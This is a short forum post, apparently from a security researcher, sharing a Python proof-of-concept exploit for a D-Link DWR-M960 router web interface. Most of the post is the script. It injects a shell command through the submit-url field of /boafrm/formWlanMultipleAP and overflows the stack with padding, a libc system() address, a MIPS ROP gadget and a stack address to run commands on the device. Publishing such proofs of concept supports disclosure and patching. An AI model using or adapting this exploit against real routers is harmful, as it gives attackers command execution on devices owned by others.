Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (Cyborg)
  • No Skin
Collapse
Brand Logo

CIRCLE WITH A DOT

  1. Home
  2. Uncategorized
  3. and here is the POC, ugly, but working:```#!

and here is the POC, ugly, but working:```#!

Scheduled Pinned Locked Moved Uncategorized
adjustsystempadgadgetstack
1 Posts 1 Posters 3 Views
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • clathetic@infosec.exchangeC This user is from outside of this forum
    clathetic@infosec.exchangeC This user is from outside of this forum
    clathetic@infosec.exchange
    wrote last edited by
    #1

    and here is the POC, ugly, but working:
    ```
    #! /usr/bin/python3

    import requests
    import sys

    # just auth with a browsre and grab cookie
    # the js code is awful, I'm too bored to reverse it
    cookies = {"webuicookie":sys.argv[1]}
    host="http://127.0.0.1" #adjust

    # We need to browse /wlmultipleap.htm first
    page1="/wlmultipleap.htm"
    # otherwise form is not accessible
    page2="/boafrm/formWlanMultipleAP"

    r = requests.get(host+page1, cookies=cookies)
    hdr={"Content-Type": "application/x-www-form-urlencoded"}

    data="wlanIdx=wlanidx&wl_ssid1=wl_ssid&submit-url="
    data = data+"%2f"+"aa;echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;"+"a"*209
    data = data+"%e8%50%d5%3F" #system() @ in libc : 0x3fd25000+0x300E8 : s0 register
    data = data+"aaaaaabaacaadaaeaafaagaahaaiaaja" #pad
    data = data+"%1C%F4%D3%3F" #gadget@ move t9,s0; jalr t9, lw a0,64(sp)
    data = data+"akaalaamaanaaoaapaaqaaraasaataauaavaawaaxaayaazabaabbabcabdabeab" #pad
    data = data+"%C8%01%80%40" #stack addr 0x408001c8
    data = data+"fabgabhabiabjabkablabmabnaboabpabqabrabsabtabuabvabwabxabyabzacaacbaccacdaceacfacgachaciacjackaclacmac.htm" #pad

    r = requests.post(host+page2, cookies=cookies, headers=hdr, data=data)
    ```
    In my poc, i wanted to do:
    `echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;`
    but the id applet is not compiled in the busybox 😄 😄

    Link Preview Image
    1 Reply Last reply
    1
    0
    • R relay@relay.infosec.exchange shared this topic
    Reply
    • Reply as topic
    Log in to reply
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes


    • Login

    • Login or register to search.
    • First post
      Last post
    0
    • Categories
    • Recent
    • Tags
    • Popular
    • World
    • Users
    • Groups